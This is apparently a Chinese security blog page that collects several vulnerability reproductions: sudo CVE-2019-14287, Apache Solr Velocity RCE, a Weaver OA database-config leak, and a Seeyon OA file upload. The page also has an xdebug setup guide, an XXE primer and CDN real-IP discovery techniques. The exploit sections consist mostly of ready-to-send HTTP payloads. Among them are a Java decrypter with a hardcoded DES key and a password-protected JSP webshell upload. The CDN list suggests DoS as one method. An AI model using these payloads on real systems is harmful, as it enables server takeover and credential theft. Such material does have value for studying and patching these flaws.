Author:LSA

sudo漏洞可绕过sudoers安全配置并以root执行命令

0x00 概述 20191015 网上爆出sudo漏洞cve-2019-14287(苹果研究员joe vennix发现),即使在sudoers文件中配置了不允许以root执行某命令,但是攻击者可以利用#-1或#4294967295绕过安全配置,并以root执行某命令。 该漏洞影响bash<1.8.28   0x01 漏洞重现 sudo -u#-1 vim   0x02 漏洞分析 #-1(32位二进制数值溢出后被截断)或#4294967295(2的32次方-1)会被id转用户名的函数误认为 0。Root用户id为0,因此当 sudo 试图将用户 ID 修改成 -1时,不会发生任何变化。这就导致 sudo 日志条目将该命令报告为以用户 ID 为 4294967295而非 root (或者用户ID为 0)运行命令。 此外,由于通过–u 选项指定的用户 ID 并不存在于密码数据库中,因此不会运行任何 PAM 会话模块。如果sudoers 条目被写入允许用户以除 root 身份以外的用户身份运行命令,则可利用该 bug 绕过该限制。   0x03 结语 sudoers标准配置无安全问题,不用慌……  

apache solr velocity模板注入漏洞重现

0x00 概述 20191031 网上爆出apache solr velocity模板注入的rce漏洞,该漏洞由国外安全研究员s00py公开,当solr默认插件VelocityResponseWrite中params.resource.loader.enabled参数值为true(默认false),再通过精心构造的get请求即可RCE。 //如果存在solr未授权访问,可post直接修改params.resource.loader.enabled参数值为true 影响范围在solr 5.x – 8.2.0  (with config api)   0x01 漏洞重现 solr-spec 6.6.1 先利用未授权修改params.resource.loader.enabled参数值为true POST /solr/test/config HTTP/1.1 Host: solr:8983 Content-Type: application/json Content-Length: 259 { “update-queryresponsewriter”: { “startup”: “lazy”, “name”: “velocity”, “class”: “solr.VelocityResponseWriter”, “template.base.dir”: “”, “solr.resource.loader.enabled”: “true”, “params.resource.loader.enabled”: “true” } } 再 GET /solr/test/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27id%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end HTTP/1.1 Host: localhost:8983   0x02 检测工具 https://github.com/theLSA/solr-rce   0x03 防御方案 1.配置授权访问solr控制台。 2.配置文件configoverlay.json设置只读   0x04 参考资料 https://gist.githubusercontent.com/s00py/a1ba36a3689fa13759ff910e179fc133/raw/fae5e663ffac0e3996fd9dbb89438310719d347a/gistfile1.txt

泛微OA数据库(MSSQL)配置泄露漏洞重现

0x00 概述 201910,网上爆出泛微数据库(MSSQL)配置泄露漏洞,攻击者可以通过漏洞页面DBconfigReader.jsp将获取的的内容解密,可得到明文数据库配置。 影响范围包括不限于8.0、9.0版。   0x01 漏洞重现 利用ecologyexp.jar   package com;   import org.apache.http.HttpEntity; import org.apache.http.client.methods.CloseableHttpResponse; import org.apache.http.client.methods.HttpGet; import org.apache.http.impl.client.CloseableHttpClient; import org.apache.http.impl.client.HttpClientBuilder; import org.apache.http.util.EntityUtils;   import javax.crypto.Cipher; import javax.crypto.SecretKey; import javax.crypto.SecretKeyFactory; import javax.crypto.spec.DESKeySpec; import java.security.SecureRandom;   public class ReadDbConfig { private final static String DES = “DES”; private final static String key = “1z2x3c4v5b6n”;   public static void main(String[] args) throws Exception { if(args[0]!=null&& args[0].length() !=0){ String url = args[0]+”/mobile/DBconfigReader.jsp”; System.out.println(ReadConfig(url)); }else{ System.err.print(“use: java -jar ecologyExp  http://127.0.0.1”); } }   private static String ReadConfig(String url) throws Exception { CloseableHttpClient httpClient = HttpClientBuilder.create().build(); HttpGet httpGet = new HttpGet(url); CloseableHttpResponse response = httpClient.execute(httpGet); HttpEntity responseEntity = response.getEntity();   byte[] res1 = EntityUtils.toByteArray(responseEntity);   byte[] data = subBytes(res1,10,res1.length-10);   byte [] finaldata =decrypt(data,key.getBytes());   return (new String(finaldata)); }   private static byte[] decrypt(byte[] data, byte[] key) throws Exception {   SecureRandom sr = new SecureRandom(); DESKeySpec dks = new DESKeySpec(key); SecretKeyFactory keyFactory = SecretKeyFactory.getInstance(DES); SecretKey securekey = keyFactory.generateSecret(dks); Cipher cipher = Cipher.getInstance(DES); cipher.init(Cipher.DECRYPT_MODE, securekey, sr);   return cipher.doFinal(data); }   public static byte[]……

致远oa(seeyon)文件上传漏洞重现及分析

0x00 影响范围 经本人测试,如下 v6.1sp2 a6+v7sp3 A8-v5 v6.1sp1 实际范围不止以上版本。 0x01 漏洞重现 验证: 网上流传的exp: DBSTEP V3.0 355 0 666 DBSTEP=OKMLlKlV OPTION=S3WYOSWLBSGr currentUserId=zUCTwigsziCAPLesw4gsw4oEwV66 CREATEDATE=wUghPB3szB3Xwg66 RECORDID=qLSGw4SXzLeGw4V3wUw3zUoXwid6 originalFileId=wV66 originalCreateDate=wUghPB3szB3Xwg66 FILENAME=qfTdqfTdqfTdVaxJeAJQBRl3dExQyYOdNAlfeaxsdGhiyYlTcATdN1liN4KXwiVGzfT2dEg6 needReadFile=yRWZdAS6 originalCreateDate=wLSGP4oEzLKAz4=iz=66 <%@ page language=”java” import=”java.util.*,java.io.*” pageEncoding=”UTF-8″%><%!public static String excuteCmd(String c) {StringBuilder line = new StringBuilder();try {Process pro = Runtime.getRuntime().exec(c);BufferedReader buf = new BufferedReader(new InputStreamReader(pro.getInputStream()));String temp = null;while ((temp = buf.readLine()) != null) {line.append(temp+”\n”);}buf.close();} catch (Exception e) {line.append(e.getMessage());}return line.toString();} %><%if(“asasd3344”.equals(request.getParameter(“pwd”))&&!””.equals(request.getParameter(“cmd”))){out.println(“<pre>”+excuteCmd(request.getParameter(“cmd”)) + “</pre>”);}else{out.println(“:-)”);}%>6e4f045d4b8506bf492ada7e3390d7ce   POC: //根据exp1修改 a6+v7sp3 发送数据包: POST /seeyon/htmlofficeservlet HTTP/1.1 Host: xxx.com.cn Pragma: no-cache Cache-Control: no-cache Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3 Accept-Language: zh-CN,zh;q=0.9,en;q=0.8 Cookie: JSESSIONID=AD5D04D5A82032FCB3C91028ADF9F839; loginPageURL= Connection: close Content-Length: 462   DBSTEP V3.0 345 0 21 DBSTEP=OKMLlKlV OPTION=S3WYOSWLBSGr currentUserId=zUCTwigsziCAPLesw4gsw4oEwV66 CREATEDATE=wUghPB3szB3Xwg66 RECORDID=qLSGw4SXzLeGw4V3wUw3zUoXwid6 originalFileId=wV66 originalCreateDate=wUghPB3szB3Xwg66 FILENAME=qfTdqfTdqfTdVaxJeAJQBRl3dExQyYOdNAlfeaxsdGhiyYlTcATdbrJuz7T2dEg6 needReadFile=yRWZdAS6 originalCreateDate=wLSGP4oEzLKAz4=iz=66 only-test-seeyon-rcexxxxxx   EXP0:传Cknife马 v6.1sp2 POST /seeyon/htmlofficeservlet HTTP/1.1 Host: 58.1.1.2:81 Pragma: no-cache Cache-Control: no-cache Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3 Accept-Language: zh-CN,zh;q=0.9,en;q=0.8 Cookie: JSESSIONID=0d218993-e7c3-4caa-8281-42c886e5f42c; loginPageURL=”” Connection: close Content-Length: 9540   DBSTEP V3.0 348 0 9122 DBSTEP=OKMLlKlV OPTION=S3WYOSWLBSGr……

phpstorm+phpstudy+xdebug配置

环境win7+phpstorm2018.3+phpstudy2016+php5.6.27-nts+apache 1. phpstudy开启xdebug扩展   2.修改php.ini: 结尾添加: [XDebug] xdebug.profiler_output_dir=”D:\phpStudy\tmp\xdebug” xdebug.trace_output_dir=”D:\phpStudy\tmp\xdebug” zend_extension=”D:\phpStudy\php\php-5.6.27-nts\ext\php_xdebug.dll”   xdebug.profiler_append = 0 xdebug.profiler_enable = 1 xdebug.profiler_enable_trigger = 0 xdebug.profiler_output_name = “cache.out.%t-%s” xdebug.remote_enable = 1 xdebug.remote_handler = “dbgp” xdebug.remote_mode = “req” xdebug.remote_host = “127.0.0.1” xdebug.remote_port = 9010 xdebug.idekey= PHPSTORM   phpstorm配置与phpstudy同步:    //如果只在phpstudy里面打开项目或者开发就填phpstudy路径就ok    3. 配置xdebug       4. 安装并开启浏览器插件xdebug helper 5. 调试

一文熟悉XXE

0x00 概述 XXE(XML External Entity attack),即外部实体注入,攻击利用xml作为数据交换的功能点,较为少见,但是威力巨大。 0x01 危害 任意文件读取,如/etc/passwd 命令执行(expect://id) 内网端口探测 攻击内网网站(struts2) DOS(billion laughs)   0x02 前置知识 XML: 一种允许用户对自己的标记语言进行定义的源语言。 文档结构包括: 1.XML声明: <?xml version=”1.0″?> 2.DTD文档类型定义(可选) DTD 可以在 XML 文档内声明,也可以外部声明。 内部声明: <?xml version=”1.0″?> <!DOCTYPE note [ <!ELEMENT note (to,from,heading,body)> <!ELEMENT to (#PCDATA)> <!ELEMENT from (#PCDATA)> <!ELEMENT heading (#PCDATA)> <!ELEMENT body (#PCDATA)> ]> <note> <to>George</to> <from>John</from> <heading>Reminder</heading> <body>Don’t forget the meeting!</body> </note> 外部声明: <?xml version=”1.0″?> <!DOCTYPE note SYSTEM “note.dtd”> <note> <to>George</to> <from>John</from> <heading>Reminder</heading> <body>Don’t forget the meeting!</body> </note> note.dtd: <!ELEMENT note (to,from,heading,body)> <!ELEMENT to (#PCDATA)> <!ELEMENT from (#PCDATA)> <!ELEMENT heading (#PCDATA)> <!ELEMENT body (#PCDATA)> 很像css的内部样式和外部样式。 dtd实体用于定义引用普通文本或特殊字符的快捷方式的变量。 分为一般实体和参数实体。 一般实体:<!ENTITY 实体名 “实体内容“> &实体名 参数实体:<!ENTITY % 实体名 “实体内容“> %实体名   内部实体声明: <?xml version=”1.0″?> <!DOCTYPE test [ <!ENTITY writer “Bill Gates”> <!ENTITY copyright “Copyright W3School.com.cn”> ]> <test>&writer;&copyright;</test> 外部实体声明: <?xml version=”1.0″?> <!DOCTYPE test [ <!ENTITY writer SYSTEM “http://www.w3school.com.cn/dtd/entities.dtd”> <!ENTITY copyright SYSTEM “http://www.w3school.com.cn/dtd/entities.dtd”> ]> <author>&writer;©right;</author> 3.文档元素 <note> <to>George</to> <from>John</from> <heading>Reminder</heading> <body>Don’t forget the meeting!</body> </note> 0x02 原理分析 有回显: 测试代码: //测试代码来源 //www.mottoin.com/wp-content/uploads/2016/11/xxe.txt <?php # Enable the ability to load external entities libxml_disable_entity_loader (false); $xmlfile = file_get_contents(‘php://input’); $dom = new DOMDocument(); # http://hublog.hubmed.org/archives/001854.html # LIBXML_NOENT: 将 XML 中的实体引用 替换 成对应的值 # LIBXML_DTDLOAD: 加载 DOCTYPE 中的 DTD 文件 $dom->loadXML($xmlfile,……

检测cdn和寻找真实ip的一些方法总结

0x00:检测cdn 1.nslookup: 有无cdn的实例,返回多个ip肯定有cdn,但是返回一个ip不一定就是真实ip,这时候要结合多种方法判断。   2. 多地ping: 相关网站: ping.chinaz.com https://ping.aizhan.com 返回多个ip则存在cdn,返回相同ip几乎就是真实ip了。 //多地ping可能获取到真实ip。   3. 响应头: www.12306.cn的响应头 Accept-Ranges: bytes null: HTTP/1.1 200 OK X-Cache: HIT from cache.51cdn.com X-Via: 1.1 zib232:4 (Cdn Cache Server V2.0), 1.1 xz115:6 (Cdn Cache Server V2.0) Connection: keep-alive Last-Modified: Fri, 24 Oct 2014 09:24:58 GMT Content-Length: 1480 Age: 22852 Date: Sat, 14 Oct 2017 04:22:44 GMT X-Powered-By: Servlet/2.5 JSP/2.1 Content-Type: text/html 从响应头字段可以看出cdn相关信息。   4. 在线分析网站 https://builtwith.com https://www.cdnplanet.com/tools/cdnfinder/   5. cdn厂商ip列表   0x01:寻找真实ip 1.去除www: 如www.xxx.com用了cdn,xxx.com可能就没用cdn。 2. 二级域名: 找到没用cdn的二级域名的ip,修改host绑定到目标域名,能访问则目标域名和其二级域名在同服,若不在可尝试c段。 3. nslookup: 用国外的dns,最好是冷门dns,可能解析到真实ip。(也可以尝试ns/mx记录) 4. 查域名解析历史记录: 用cdn之前的可能就是真实ip。 https://x.threatbook.cn/en https://dnsdb.io https://viewdns.info 5. rss订阅 6. 邮件 7. 服务器漏洞: xss/ssrf等,这就方便了…… 8. dos: 打光cdn流量,回溯真实ip。 9.敏感文件泄漏: 如phpinfo探针 10. zmap全网扫描: 获取目标地域的ip段->扫描80端口->banner-grap抓取banner->http-req-host写目标域名->对过滤出的ip再次抓banner 11. fofa大法: html源码检索,查找网站特征字符串。   12. SSL证书 https://censys.io/certificates parsed.names:xxx.com 443.https.tls.certificate.parsed.extensions.subject_alt_name.dns_names:www.xxx.com   13. HTTP标志性头/网页返回内容 censys 80.http.get.headers.server:cloudflare / censys 80.http.get.body: 通过body/source过滤 shodan http.html   14. F5 LTM解码法 当服务器使用F5 LTM做负载均衡时,通过对set-cookie关键字的解码真实ip也可被获取,例如:Set-Cookie: BIGipServerpool_8.29_8030=487098378.24095.0000,先把第一小节的十进制数即487098378取出来,然后将其转为十六进制数1d08880a,接着从后至前,以此取四位数出来,也就是0a.88.08.1d,最后依次把他们转为十进制数10.136.8.29,也就是最后的真实ip。 //这种方法本人测试只能获取内网ip。   15. 其他 反查/社工cdn/旧域名可能指向真实ip。   0x02 参考资料 www.jianshu.com/p/c89128517b9c https://zhuanlan.zhihu.com/p/24396958 https://www.v2ex.com/t/147387 https://www.v2ex.com/t/212177 www.cnblogs.com/blacksunny/p/5771827.html www.cnblogs.com/milantgh/p/5013254.html https://mp.weixin.qq.com/s?__biz=MjM5Njc3NjM4MA==&mid=2651071300&idx=4&sn=84b87138cbf12072fbe15c7be7feeb8e&scene=0#wechat_redirect https://www.cmsky.com/cn-cdn-ip/ xiaix.me/rao-guo-cdncha-zhao-wang-zhan-zhen-shi-ip/ https://bbs.ichunqiu.com/forum.php?mod=viewthread&tid=10614&highlight=cdn https://bbs.ichunqiu.com/forum.php?mod=viewthread&tid=2551&highlight=cdn https://www.cnblogs.com/qiudabai/p/9763739.html https://www.lurbk.com/lur2538.html